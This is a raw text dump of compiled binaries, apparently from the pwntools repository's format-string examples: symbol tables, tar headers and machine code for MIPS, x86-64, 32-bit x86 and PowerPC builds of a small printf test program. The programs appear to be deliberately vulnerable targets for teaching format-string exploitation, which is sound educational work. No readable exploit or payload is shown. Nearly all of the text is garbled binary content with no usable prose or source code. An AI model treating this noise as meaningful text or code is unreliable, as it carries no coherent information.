frame_hdr_cacheframe_hdr_cache_head__register_frame_info_bases.part.8object_mutexunseen_objectsany_objects_registeredunwind-c.o_nl_C_LC_CTYPE_Unwind_Find_FDE_Unwind_GetIPInfo__ehdr_start__divdi3_nl_C_LC_NAME_Unwind_GetRegionStart_gpperror__fini_array_end_nl_C_LC_ADDRESS__udivdi3__sigsetjmp__stpcpy__deregister_frame_info_Unwind_Resume_nl_current_LC_CTYPE_nl_C_LC_MONETARY__deregister_frame_info_bases__libc_errno_nl_C_LC_COLLATEmemcmp_nl_current_LC_NUMERIC_Unwind_RaiseException__dlopen_nl_C_LC_TIME__fini_array_start_Unwind_SetIP__init_array_end__register_frame_info_table_bases_nl_C_LC_MEASUREMENT_nl_C_LC_TELEPHONE__mempcpy_Unwind_GetTextRelBase__preinit_array_end_Unwind_GetLanguageSpecificData_nl_C_LC_NUMERIC_dl_fixup__errno_location_Unwind_SetGR_nl_C_LC_MESSAGES__init_array_start__moddi3_Unwind_GetDataRelBase__preinit_array_start_nl_current_LC_MONETARY_nl_C_LC_PAPER__register_frame_info_nl_C_LC_IDENTIFICATION__dup__stack_chk_fail_local__isoc99_scanf_nl_C_LC_CTYPE_class_print__morecore_dl_runtime_pltresolve__getdtablesize_IO_remove_marker__libc_sigactionstrcpy_IO_wdefault_xsgetn_dl_vsym_dl_setup_hash_IO_link_in__malloc_hook_dl_debug_printfgsignal_IO_sputbackc_nl_C_LC_CTYPE_class_upper_IO_default_finish_dl_check_map_versions__gconv_transform_utf8_internal__default_morecore__libc_argc_IO_file_finish_nl_C_LC_CTYPE_width__fxprintf_nocancel_nl_unload_domain__dlinfo_Unwind_GetIP__mpn_impn_mul_n_basecase_IO_wdoallocbuf__getpid__register_printf_modifier_IO_list_lock__strtod_internal_fdata_nl_load_domain_IO_default_doallocate__libc_multiple_libcs__new_getrlimit__strtoull_l_wordcopy_fwd_aligned_dl_important_hwcaps___xstat64_IO_new_file_xsputn_dl_reloc_bad_type_IO_least_wmarker_IO_default_sync__register_frame_IO_file_sync__strtoull_internal__mpn_impn_sqr_n_basecase_IO_seekwmark_IO_fflush_IO_wfile_jumps_nl_C_LC_CTYPE_class_xdigit_IO_file_write_dl_find_dso_for_objectstrerror__init_misc__gconv_transform_ascii_internal__mpn_sub_n__wcsmbs_clone_conv__getdents_dl_profile_output__mpn_cmp__mbrlen__mpn_addmul_1__strnlen__gconv__gconv_transform_ucs2_internal__printf_modifier_table__tcgetattrstrtof32_dl_new_object_Unwind_Resume_or_Rethrow__calloc_dl_make_stack_executable_IO_default_xsgetn__strtok_r_dl_exception_create__libc_stack_end_IO_enable_locksfileno_unlocked_nl_default_locale_path__stack_chk_guard__gconv_get_path__register_printf_specifier_dl_debug_fd__tsearch_IO_vasprintf____strtol_l_internal_IO_file_seekoff_mmap__libc_fcntl__gettext_free_exp_dl_load_cache_lookup_nl_current_LC_NUMERIC_used__write__gettext_extract_plural_IO_sgetn__mmap__mprotect_dl_use_load_bias_nl_domain_bindings_dl_catch_exception__gconv_path_envvar__dprintf__add_to_environ_dl_initial_searchlist_IO_file_seek__parse_one_specwc_itoa_wordstrtold__new_fdopen__tdestroy__rawmemchr_dl_profile_fixup__getcwd__mips_syscall6_dl_mips_gnu_objects_Unwind_Backtrace__mbsrtowcs_l_IO_init_marker__strtol_internal_nl_category_name_idxsc32rtomb__woverflow_IO_2_1_stdout___register_printf_function__mpn_mul_n_IO_new_file_init__strtold_l__libc_openat__gconv_lookup_cache_dl_higher_prime_number__openat64_nl_C_LC_CTYPE_class_cntrlqsort__posix_memalign_IO_flush_all_linebufferedstrtof32_l_IO_fclose__strtoll_internal__gconv_modules_db_nl_expand_alias_IO_wdo_write__getdelim__read__wcschrnul_dl_strtoul_IO_default_underflow_IO_funlockfile_dl_init__gconv_load_cache__mallinfo__gconv_transform_ucs4le_internal_dl_platformlen_dl_tls_static_used_IO_switch_to_wget_mode__realloc_hook_Unwind_GetCFA__exit_funcs__gettextparse_IO_default_xsputn__mpn_lshift__TMC_END___nl_load_locale___printf_fp_IO_fwrite_IO_default_setbuf_IO_sungetc_dl_try_allocate_static_tls__dlsym__gconv_get_cache_dl_addr_inside_object_IO_new_fdopen_IO_fwide__gconv_find_shlib_nl_unload_locale__DTOR_END___IO_new_file_close_it_dl_debug_mask_IO_wfile_overflow__libc_memalign__libc_scratch_buffer_set_array_size__libc_dlsym_private__overflow__btowc__mpn_mul__strtol_ul_max_tab_dl_non_dynamic_init__internal_atexit__memalign__mpn_submul_1_IO_file_close__malloc_trim__dladdr_nl_current_default_domain_nl_msg_cat_cntr__open__strtod_nan_IO_unsave_markers_nl_C_LC_CTYPE_class____strtof_l_internal_dl_load_adds__gettext_germanic_plural__wcsmbs_getfct_IO_2_1_stdin___gconv_transform_internal_ucs4__get_child_max_dl_protect_relro__strerror_r__wcsmbs_load_conv__stop___libc_IO_vtables__mpn_impn_sqr_n_dl_wait_lookup_done_dl_mcount_wrapper_dl_deallocate_tls_nl_C_LC_CTYPE_class_graph__mpn_impn_mul_n__current_locale_name_nl_C_LC_CTYPE_tolower_dl_profile__dso_handle__mpn_construct_float__strsep__new_exitfn__libc_alloca_cutoff_IO_switch_to_main_wget_area_dl_tunable_set_trim_threshold__dcgettext__libc_csu_fini_nl_current_LC_CTYPE_used_IO_str_init_readonly_IO_file_seekoff_dl_discover_osversion_dl_signal_exception__libc_init_secure_dl_count_modids__exit_funcs_lock_dl_nothread_init_static_tls__frame_state_for__tunable_get_val_IO_adjust_wcolumn__tunables_init__strtoul_internal_IO_str_seekoff__ctype_init__getgid___brk_addr__lseek64_IO_file_setbuf_IO_new_file_fopen__libc_mallinfo_IO_new_fopen__gconv_btwoc_ascii_IO_fdopen__wcslen_IO_default_write__libc_read__fxprintf__mips_syscall5__libc_disable_asynccancel__gconv_find_transform_IO_file_close_mmap_dl_allocate_tls_storage__umoddi3__libc_realloc_dl_tunable_set_mmap_threshold__libc_tsd_CTYPE_TOLOWER__gconv_transform_ucs2reverse_internal_dl_tls_static_align_dl_scope_free__environ_Exit_nl_intern_locale_data_dl_lookup_symbol_x__strtoll_nl_cleanup_ctype_dl_tls_max_dtv_idx_nl_C_LC_CTYPE_map_toupper_nl_C_LC_CTYPE_class_punct__libc_setlocale_lock__sigjmp_save__stack_chk_fail_dl_close_dl_static_dtv_dl_bind_not__libc_enable_secure_IO_wpadn_nl_postload_ctype_dl_static_init_IO_fputs__gconv_transform_ucs4_internal__open_nocancel_dl_auxv__libc_dlvsym_nl_C_LC_CTYPE_class_digit_IO_str_pbackfail_IO_wfile_xsputn__gconv_max_path_elem_len_IO_default_imbue__mpn_divremstrtoqmbrtoc32__libc_lseek64__dlmopen__tls_get_addr_nl_find_domain_IO_default_read__register_frame_table_IO_file_close_it__sys_nerr_internal_sys_nerr_dl_platform_itowa_IO_iter_begin____strtod_l_internal_nl_C_LC_CTYPE_class32_dl_get_tls_static_infostrrchr__strtol__ctype_tolower_loc__libc_check_standard_fds__after_morecore_hook__mpn_construct_double__start___libc_atexit__setitimer__libc_enable_secure_decided_dl_exception_free_IO_file_stat_dl_start__strtold_internal__register_frame_info_bases_IO_wfile_sync__libc_pvalloc__strtoll_lstrtod_IO_vfscanf_internalrindex__readonly_area__tunable_set_val__guess_grouping__libc_valloc__strtod_l_nl_C_LC_CTYPE_map_tolower_nl_locale_subfreeres__dcigettext_dl_add_to_namespace_list_IO_str_jumps_IO_str_finish_nl_normalize_codeset__exit_funcs_done_dl_tls_static_size_dl_debug_printf_c_IO_default_showmanyc__get_nprocs__isatty__fortify_fail_abort_nl_state_lock__profile_frequency_dl_lazy_dl_debug_state__gconv_transform_internal_ascii__mmap64__printf_fp_l_IO_str_overflow__malloc__openat64_nocancel_dl_init_paths__malloc_fork_lock_parent__start_IO_file_xsgetn_IO_cleanup__hash_string_dl_argv_IO_default_seekpos__gconv_open__free__dlclose_Unwind_DeleteException__fpu_control__gconv_transform_internal_ucs2__getrlimit_IO_new_do_write__strtol_ull_max_tab__readdir64_IO_file_underflow____strtold_l_internal__gconv_release_shlib__read_nocancel_nl_make_l10nflist__fopen_internal_IO_no_init__strchrnul__libc_register_dl_open_hook_tens_in_limb_IO_padn_IO_file_overflow_IO_getline_info__parse_one_specmb__readdir___fxstat64_itoa_IO_str_init_static_IO_stdout_dl_dst_substitute_fpioconst_pow10_dl_tls_dtv_slotinfo_list_dl_tunable_set_tcache_unsorted_limit_dl_allocate_tls_init__gconv_close__wcrtomb_ftext__progname_dl_sysinfo_map__stop___libc_atexit_IO_flush_allstrstr_IO_new_fclose_IO_iter_file_IO_flush_all_lockp_IO_adjust_column__correctly_grouped_prefixmb__libc_init_first_IO_vtable_check_dl_inhibit_cache__mpn_extract_doublestrncmp_dl_tunable_set_top_pad_IO_fprintf_nl_explode_name_IO_vfwprintf_IO_wdefault_doallocate__run_exit_handlers__libc_malloc_dl_tunable_set_perturb_byte__malloc_fork_unlock_child_IO_marker_delta__libc_free_IO_file_underflow_mmap_IO_sungetwcprogram_invocation_short_name_wordcopy_bwd_dest_aligned__opendir_IO_str_count__printf_arginfo_table_dl_open_IO_file_underflow_maybe_mmap__fileno__pvalloc_nl_C_LC_CTYPE_class_space__getegid_IO_wfile_jumps_maybe_mmap_dl_check_all_versions_dl_debug_initialize__argz_create_sep__strdup_dl_tls_dtv_gaps__gconv_alias_compare__cxa_atexit__wmemmove_IO_file_xsputn__brk__start___libc_IO_vtables_nl_C_IO_wmarker_delta_dl_hwcap2__libc_mallopt_IO_default_stat_IO_new_file_sync_IO_file_jumps_maybe_mmap__profil__mpn_add_n_dl_tunable_set_mmaps_max____strtoul_l_internal_nl_C_LC_CTYPE_toupper__sched_yield__strcasecmp_l_itowa_lower_digits_IO_marker_difference_dl_get_origin_dl_phdr_IO_free_wbackup_area__libc_malloc_initialized_dl_name_match_p_nl_remove_locale__getpagesize_itoa_base_table__mbrtowc__syscall_error_IO_free_backup_area___lxstat64_IO_file_init_itoa_lower_digits__libc_close_nl_C_locobj__underflow__gconv_get_builtin_trans_dl_nns__fxstatat64__rewinddir__libc_csu_init_dl_random__abort_msg_dl_scope_free_list__get_nprocs_conf__gconv_release_step__bss_start__libc_open_IO_wdefault_xsputn__gconv_transform_internal_utf8_IO_default_uflow__wmempcpy__strtol_l_dl_start_profile_dl_origin_path__wcsnlen__malloc_info__wcsmbs_gconv_fcts_c_nl_current_LC_MONETARY_used_sys_errlist_IO_new_file_finish_dl_tls_generation__gconv_lock_IO_new_file_attach__fortify_fail_dl_clktck_dl_cache_libcmp_dl_relocate_object_dl_dynamic_weak_IO_vfprintf_internaltime__wunderflow_dl_tunable_set_tcache_max__uflow_dl_dst_count__assert_fail_dl_mips_platforms_nl_C_name_IO_least_marker_nl_find_msg_IO_switch_to_wbackup_area_IO_list_resetlock__fgets_unlocked_dl_tunable_set_mallopt_check_dl_call_pltexit__memmem__dlvsymllseek__lseek_nl_default_dirname_nl_POSIX_name__twalk_IO_getline_dl_allocate_static_tlsstrcmp_IO_wdefault_uflow__mpn_rshift__gconv_get_alias_db__libc_scratch_buffer_grow_preserve_nl_find_locale__memchr__malloc_check_init__mbsrtowcs__printf_function_table__fopen_maybe_mmap_dl_rtld_di_serinfo__libc_openat64_dl_sysinfo_dso__wmemset__libc_enable_asynccancel_nl_C_LC_CTYPE_class_alnum__deregister_frame_IO_setb__dl_iterate_phdr__register_printf_type_IO_file_fopen_dl_sort_maps__write_nocancel__dladdr1__qsort_r_dl_unload_cachestrtof32x_l____strtoll_l_internal_IO_new_file_setbuf_IO_wfile_seekoffstrtof_IO_wfile_underflow__madvise__wcsrtombs_IO_file_doallocatestrcspn_wordcopy_fwd_dest_aligned__gconv_compare_alias_cache_libc_intl_domainname__gconv_path_elem__tens_IO_init_wmarkersetlocale__libc_tsd_CTYPE_B__getclktck_IO_file_read_nl_C_LC_CTYPE_class_blank__libc_setup_tls_IO_file_jumps___asprintf__strtof_l_dl_tunable_set_tcache_count__close_nocancel_dl_init_static_tls__new_exitfn_called__fcntl_nocancel_Unwind_FindEnclosingFunction__strsep_g_IO_str_init_static_internal_nl_finddomain_subfreeres__wctrans_dl_stack_flags_nl_category_name_sizes_dl_mcount__libc_lseek_dl_next_tls_modid_fitoa__handle_registered_modifier_mb_IO_fopen_IO_wdefault_finish_dl_mcount_wrapper_check_IO_new_file_write_IO_stderr__ctype_b_loc__mremap__printf_fphex__strndup_dl_init_all_dirs_dl_allocate_tls_dl_tls_static_nelem__gconv_get_modules_db__uname_IO_sputbackwc__opendirat__gconv_read_conf__libc_dlclose__gconv_close_transform_dl_tls_get_addr_soft_IO_file_attach_dl_tunable_set_arena_max__libc_secure_getenv_IO_unsave_wmarkers_IO_file_open_dl_map_object_nl_archive_subfreeres__libc_tsd_LOCALE_IO_list_unlock__close__mpn_mul_1__getuid_itoa_upper_digits_Unwind_ForcedUnwind_edata_dl_load_lock_IO_switch_to_get_mode_GLOBAL_OFFSET_TABLE__IO_vfscanf_IO_do_write_fitoa_word__fdopendirstrtof64_l__strtof_internalstrtof64_nl_locale_file_list_IO_getdelim__gconv_release_cachestrtouq__new_fclose_dl_fpu_control__wuflow__sysconf__sigaction__libc_calloc__curbrk__gconv_compare_alias__vfwprintf__tfind_nl_global_locale__strtof_nan_dl_verbose_IO_default_seekoff_dl_dprintf__strncasecmp_l_IO_doallocbuf_dl_signal_error_dl_phnum_flushlbf_dl_exception_create_format__stack_prot__strtol_ul_rem_tab__libio_codecvt__closedir__libc_message_dl_profile_map_IO_switch_to_backup_area__dlerror__free_hook__gconv_transform_internal_ucs4le_IO_new_file_init_internal____strtoull_l_internal__munmap__libc_tsd_CTYPE_TOUPPER__malloc_usable_size__gconv_transliterate__openat__strtoul_l_IO_stdin_IO_wsetb_IO_wfile_jumps_mmapDW.ref.__gcc_personality_v0__fprintf_IO_vfprintf__wcsmbs_named_conv__strtoull_dl_aux_init_dl_hwcapstrtof32x_itowa_upper_digits_IO_wfile_doallocate__assert_fail_base_nl_category_names_nl_C_codeset_dl_initfirst__setfpucw_IO_str_underflow__sigprocmask_setjmp__ctype_toupper_loc__funlockfile_IO_stdin_used_exit_dl_load_write_lock__strtol_ull_rem_tab__sigsetjmp_aux__alloc_dirstrspn__getdents64_Unwind_GetGR_nl_default_default_domain__libc_argv__libc_start_main__lll_lock_wait_private_IO_init_internalprogram_invocation_name__libc_dlsym__malloc_fork_unlock_parent_dl_show_scope__libc_write__fcntl_IO_init__strtoul__gconv_transform_internal_ucs2reverse_nl_C_LC_CTYPE_class_lower_dl_all_dirs__setenv__clearenvstrchr_dl_add_to_slotinfo__realloc__gconv_alias_db_IO_iter_end__mallopt_quicksort_IO_new_file_underflow__data_start_dlerror_run_dl_sym__libc_fatal__get_phys_pages__sbrk_IO_default_seek__tdelete__printf_va_arg_table_r_debug__malloc_stats_IO_wdefault_pbackfail__sys_errlist_internal_dl_osversion_IO_list_all__argz_add_sep_IO_new_file_overflow__libc_dlopen_mode__unsetenv_IO_new_file_seekoff_dl_tunable_set_arena_test___vfscanf_dl_sysdep_read_whole_file__prctl__openat_nocancel_dl_addr__get_avphys_pages__handle_registered_modifier_wc_dl_catch_error_IO_un_link__register_frame_info_table_IO_file_setbuf_mmap_fbss_dl_make_stack_executable_hook_dl_inhibit_rpathaligned_alloc_IO_default_pbackfail_IO_vdprintf__pointer_chk_guard_local_dl_correct_cache_id__sysinfo__new_fopen__wmemcpy_IO_iter_next_dl_close_worker_dl_pagesize__valloc__memalign_hook__geteuid_wordcopy_bwd_aligned_IO_2_1_stderr___progname_full_IO_switch_to_main_get_arearaise_IO_seekmark_nl_C_LC_CTYPE_class_alpha__towctrans_IO_old_init_IO_file_jumps_mmap__libc_register_dlfcn_hook_dl_map_object_deps_dl_ns_nl_load_locale_from_archive.symtab.strtab.shstrtab.note.ABI-tag.MIPS.abiflags.reginfo.note.gnu.build-id.rel.dyn.init.text__libc_freeres_fn__libc_thread_freeres_fn.fini.rodata.eh_frame.gcc_except_table.tdata.tbss.fini_array.ctors.dtors.data.rel.ro.data__libc_subfreeres__libc_IO_vtables__libc_atexit__libc_thread_subfreeres.got.sdata.sbss.bss__libc_freeres_ptrs.comment.pdr.gnu.attributes.mdebug.abi324@4 )*pX@X8pp@pA@$T @]|@||c@'i*G*`{0:G0:x;G;D;G;pO`H`/DIDII IIII&II$ J J * J  CJ H J  OJ UJ  ZJ n0 *w< g|oo ,o ,o @n# l Pa> Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf.native000077500000000000000000000205301507273764500240540ustar00rootroot00000000000000ELF>@@8 @@@@888     TTTDDPtd <<QtdRtd pp/lib64/ld-linux-x86-64.so.2GNUGNURl+ewZ~_z `): N  ?"libc.so.6dprintfperror__isoc99_scanf__stack_chk_failmmap__cxa_finalize__libc_start_mainwriteGLIBC_2.7GLIBC_2.4GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableii fii pui z                  HH HtH5" %$ @%" h% h% h% h% h% h% f1I^HHPTLH #H= DH= UH H9HtH Ht ]f.]@f.H= H5 UH)HHHH?HHtHa Ht ]f]@f.=Y u/H=7 UHt H=: H1 ]fDUH]fUHH0HdH%(HE1HDžHDžAA2DHHtH==DHAAAAHHƿHHH= HHƿH5HHƿqHMdH3 %(thfDAWAVIAUATL%N UH-N SAIL)HHHt 1LLDAHH9uH[]A\A]A^A_Ðf.HHmmap%sDONE;8,T6l,zRx +zRx $ pFJ w?;*3$"Dh\j0AC + D|eBBE B(H0H8M@r8A0A(B BBB P   o   ooooo  GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.08Tt   P p             `!7 F my           1D  Kgy    0 e + 04 @ Z" Pcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7696__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryprintf.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTablewrite@@GLIBC_2.2.5_edata__stack_chk_fail@@GLIBC_2.4mmap@@GLIBC_2.2.5dprintf@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmainperror@@GLIBC_2.2.5__isoc99_scanf@@GLIBC_2.7__TMC_END___ITM_registerTMCloneTable__cxa_finalize@@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment88#TT 1tt$DoN  V^oko@zBPPppp   <     p  0*@`+ vGallopsled-pwntools-3ad86ec/examples/fmtstr/printf.native32000077500000000000000000000164701507273764500242310ustar00rootroot00000000000000ELF 44 (444  TTT  ,4hhhDDPtd<<QtdRtd$$/lib/ld-linux.so.2GNUGNUiW._*"U~  K d="" 8L^) libc.so.6_IO_stdin_useddprintfperror__isoc99_scanfmmap__cxa_finalize__libc_start_mainwrite__stack_chk_failGLIBC_2.7GLIBC_2.1.3GLIBC_2.4GLIBC_2.0_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableii usi ii ii     Sg0t[ hhhhh h($h0,f0f1^PTR"ÔlP PQV4$fffff$ffffff$ODD9t(tUQЃÐt&ÍUDD)ȉSÃt8t PQ҃]É'UWVSUù Due,t @ $H)9s v'HH9rƃDe[^_]ÍU]$ÍL$qUSQ  ȋ@eE1DžDžjjj2jhh t PAAAAjPjP PPj"j Pj\jPjFUe3t}eY[]afUWVS l$(c)t%1Ut$,t$,9u [^_]ÍvfffffffS~\ffffff4_t*USt&Ћu[]ÍSH[mmap%sDONE;8T8xXh$zR|  \F J tx?;*2$"@4T10D GuDuxu| AAC H,]AA AAN i$A(D,D0M GAA AA@<AN T o 80ooooo GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0Th  T       (p*=S b p| ` 0 8` N Uh"    :K]  [b n0s@  UT crtstuff.c__CTOR_LIST____DTOR_LIST__deregister_tm_clones__do_global_dtors_auxcompleted.7283dtor_idx.7285frame_dummy__CTOR_END____FRAME_END____do_global_ctors_auxprintf.c__init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTable__x86.get_pc_thunk.bx_edatadprintf@@GLIBC_2.0__stack_chk_fail@@GLIBC_2.4__x86.get_pc_thunk.dx__cxa_finalize@@GLIBC_2.1.3perror@@GLIBC_2.0__DTOR_END____data_start__gmon_start____dso_handle_IO_stdin_usedmmap@@GLIBC_2.0__libc_start_main@@GLIBC_2.0write@@GLIBC_2.0__libc_csu_init_fp_hw__bss_startmain__stack_chk_fail_local__isoc99_scanf@@GLIBC_2.7__TMC_END___ITM_registerTMCloneTable.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.ctors.dtors.dynamic.data.bss.commentTT#hh 1$Do N V^okoPz 0 B8TT-  <  <  0*4. Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf.ppc000077500000000000000000025632741507273764500233730ustar00rootroot00000000000000ELF4 4 (!  c c    DD   4dtQdtR   $$GNUGNUXsi1UQM|;=@ @$;@8;```9)U*:>}=P.})N!>@AK= 9)/A<` 8cH9 $<|8! N `!|8!|N `= 9)/A4!< <` |88cH58!|KK```!|8!|N !=`|a8k/ $(4!Aa,|;x}Cx}BAh= 9)/AK]=  /)()"Ax88Hru=  aH=/Ax88HrI=  )t/AHU/A =  aN!88`H E8aH\q/@@⋰9A< !})BaN!Hn Ku= 89 }@@(|:|A-@+A@;1``"88`/A|} &U)i)D|&K8`HmH; ,A8=@ JH/@4=@ jH=@aJPAl<`8cH<`8cH@@KȔ!|TD}=KxHAa $(,0!4)A8}Cxa<@/LA8;T:}` > 4Sp|3x8889`>PH0`+A+@;@8/A,+AA+@8/@/@/A 4/A Iؑ/A```H& xix~xxK `#;8KP}BUA@C9`K4||x|#x|;xKSpKX!p||#x8|xL1H/A$8!|N ``=  9)="9))/ @o/@h<`;8cx8L1H@8x88`H/@ !U)&/ @!(/A K<`;8cK!,@܃K0```!8|8``K88``Kɀ88``8!|K!=  )|=@ /0DAa  !$A(a,48< DA=@ 8U(4} B@@AH|``9) @@@hI/@ |I+I{RA/A;:@::`}=Öx)>xH8``; :@;;::`;;`;@::> 7 8i|c|c|cHM=  <;;9@8^9@>I}?>Exdx}#Kx;HɅ= W D9(A=  )ȐT< ?U9'<` đГ#9J< 9`@}=9g< < < 40})\,}JJ&t UI6|(!$@gx7 a 8_pA(||a,048<8!@N :X~~]xxKP; ~ݳx:@;::`:K|```#B=)j9)|cJN !|? ? ;;PAqa $||x|#x|+xA<;;```>Exdxx});N!@@? ? K-;;PqA4;;`>Exdxx});N!@@$Aa |8! N `!=  9) ? ;}?HP})p/A@|;U):?})N!/;@| 8!Hܔ!|= 9)/a,048<D|~x|#x|+x|3x|;x"!9 A88`K=  %/@< 8/A=@9J9!a! xxxx8aL1Hr5/A< 8`8DL1Hy=  i H9=@ !9J088"88`}*J}J})P8}$Kx!H1/|xA@!8c?Hq=  9I|`P(Q-@L,/A H9aHHT-<8ƫK<88,8`HHT ? ;xK`!=@=  ||#x|x|+x888iT$|3xH!xxxxK !|+x8888!Hx!|x?|#x/AX@/A/@|x$K$|i4|U)~9)U):J?/@|x$Ky$|c4|T~~x8! N ```|x$K1?+|~xA+@/@$x8! |N ```/@,?x/Ah+@KX$|;x8! N `/Al$;|K`` xKi?9)|}x+ A=@U):9J@}*H.}IR}IN x$4|W~K$;|K$;|K$|Kt$|K\$P|KL$|K떀$|PK/@ 8`HO떀$|K$|Kx$1>|K``` xK$3|K!|$|~x|#x8c#/A?8/AhHU,@8~HA,@$~H-,@>|cHP$8! |N ```K``~Kx``!|$||x|+x|3xc`K<dH@@D|xx``/}#Kx8;A8Hƍ9#@A$x8! |N }=KxK```!|}&tA8a<@DHl(,0!4LP!TAXa\`dh$#|? x|vx|+x|3x/|;x|#xB_9@@/A܁=0/A\~CxH|px~CxHL)=,]4091CKZI. PZP;Z}ڈP~1P```W:H.AxW>Q>BQ>F>/AP;@@D= =W8/} }).AU*>Q*BQ*F>P@@@AlK=$wPWh8}I@.})B@@؀~CxH/@ā=(W{8}I). /@4H```K,``H@A||"~CxH)/@`=/}I).*AxU*>/Q*BQ*F>W)>S)BRS)F>;)A|/AXS/AL= 9)/A 8}@K}Q$BQ$F>|"~CxH/@@xAK`HQK``J;9K`? ;</A\ .@=  9)="9)))I\K|?`;{/@x= 9)/A 8}@K}]<=8/A ~Px;H`/;A|Dxx:H/@/@lKp8}@KK<`8clHT|{yA;/@\ .9 <K? 9;;\}@(}IPQ@ }-@L,/@\;`:9J_HP```;{~óxxH|jyAȑ\;9 9J_+A:JH ~x|~xH/@Cx>@H= :R|sxxHՁAx~|x}#9)#U)6})}AIn:aVs6~cxHU9@/xDx|ix8cIH = .ma)o#xHuA9#U)6})}AIn;W6`>+:A/@9 C<~xxH /A\~DxxH/AHx~exx~xH|pyA888~xxK,A/|ix@4Hw/A8nK<` 8cK?$/_(="9)IA+~)x@```~x_\}JBy9}#Kx@l9  +|} KȂk̂ЂԂ؂܃ +Kk샋}a[xN /A|+~)xApKp``/A}CxLX_<@H= 9DKx```;K<``xH``+:A9J*>/@/t9 /A8/xH9/@K``p/A909@}>Kx}USxH$``/@~:/A888~xxK/@K``= 9=@ 9 J #xX?@?L_:K8`>;:K$/*@ /A 8n?,Ku<` 8cKi?,_$(=B9J K``<`8cHG,A#/A|~xK9U|ixUJ:~P.4?Ht?A_,< 8J * _$/(=B9J Ap8}%Kx~ijxKu|ix/A8n?,K֍<` 8cKց?,K`9 K }%Kx~ijxhK%|ixKȃK~x?,H;~xH僟9\|j|cHka?,|~yA4x~x8~;H1xDx|}xH~xxHa=@< 8?,9J/>> A8n)/@|~/Ap#/AxHK```xxHK0#xHLHE.|vxA(H:~xHh|yyA~x~ijxH9884808,8(#xH'/|wxA= 9)/A xKCxH!,9@ A0Dx!A88!4(cx~xH5/|xA xKҡ/A(?/@?/APA #xHpUr@HLK(```a8Hp-HLK```/A; H,```>)/@~/A|#/AxH5K```xxHK<HLHY!}&= ;0_;0|~x|#x"!9 A098}@(}HPQ@ |-@L,/@_/9J_@X~8/A8|8AL1H/|zx@_A|99J/_@ _|}(}@-@/A$!B})Ry9@@} 8!N ``|dx888`aH|{y@0Ahl+@ +/@9Gx88x!ē!H=/|pxA4Cx;`HU=@0aJP@ 8`hHe)|qy@_!Ā!Aa|K``|xH|KL`"x888/8A9 1| } &U)i)D|&K/@7/A!Ă܃!CxHu_Aa|K(``8>q|p+ AȃP +|*|2Q,AT8T>4/80@8 $(<888/ :>~xx:%xxCxHġ,@H#Q@CxH=@0aJP@ \܃Kx~xHk-Kd8T>|2/04A/AX<$`8A xW>Q8BQ8F>/A90~L,90 ~L,8~xHq|vyA/AȒa̒A< <<`=`>@>`> < ===@= 8p8|9k: :R:s:(8999J9)8v~H8```+I8@/@}f[x8B@<`8|"A$T>PBPF>|3xT>|:PBPF>/Ah|2/@X+P@|8/R@|#x/I@x9U>+@p8/X@T+8AX+1A+3@ p8/2@(/@+dA +iA+oA+uA+xA +X@ |xK`<8/A 8q@K̀qKo*/@`8`hH`|qyA908|L,>q|p+8 At90@L,90 |L,90|L,90+|L,|*Q,|2A 8K? 90|L,8c9K8 $(K/A䒡Ԓܒ؂ K !ă!K;8`H,```U):|vH./AxHa;|cz>}:A$T>}*KxPBU)>PF>QIBQIF>}B/A @A~óxHg-qAȂâЂԂ؂܃K(qԂ؂܃K<(P,`8}02! A(T>}HSxPBUJ>PF>Q B}0JQ F>! ~RWR:A<`:~8:`V:;@/AA4U*>Q*BQ*F>}PR9*}L,91(})A/9@+9!WZ:}.@!A:s})R~RJ::@@/@dq q$q(~óxHeAȂâЂԂ؂܃KtA T}PR*9 1(})AK\;@K <`!|d0p@LK8|!ĒAȒa̒ВԒؒܓ!AaHx~xHK8/6@8/@,+dA+iA+oA+uA+xA+X@|xK/@+dA$+iAL+oA<+uAL+xA<+X@P|xKVc 6|cH[|ryAXVx8V: }2: !!Q A~=x9XJa ~x~ѳxHA}Wx.UI>QIBQIF>}0J9I}T,91H}JA.@ *@(W8!~;~ɲ~xa$,~x~x~ӳxxVx}7Kxx./AA}4|,~|xL,}0J9I|T,/@T>PBPF>+@(xa$]x,~x~ڳx;!9x@AP 8/.@A}7x.}0JI9 1H}JAK8K9)HUJ:}QP..A9)IA}HSxUJ>Q BQ F>.@KA`}4x.~|xH.}0J/A ;H8/AW{:;1.#xHA$x|{x|ex~óx~H>~A$)xW9>Q9BQ9F>ixW{>Q;BQ;F>/Ax~óx%xH~K<})P<K8Kx~6xa @x @p,8T9%})B@414Q0/}* .A}*KxU)>QIBQIF>}8!.8K:; wH&1,}CK8};}JI}9}JP}P9|HP|@PUI:|xH.}8J/A$P@A\}J:UI:|xH.}8J/@Q:9J}J;9@I@|! Q$01(q4K`}JBK}8|,~xL,}0JK K! }I.K! }).K }5x.Kp~fxK~FxK~xK~xKx :K}8x.~xH.}0JK~xKL}Ux.K~xK<~fxK4~FxK, K$~xK~fxK~FxK Ko*/@܃K<~xH_Ɂ_!Ă܃K+6@8/4@/@+dAd+iAT+oAD+uA4+xA$+X@<8ƬKlH&~xK`}&KxKX}FSxKP}CxKH}{xK@K8+L@8/E@ /A@/S@/T@ +8A+1A|+3A 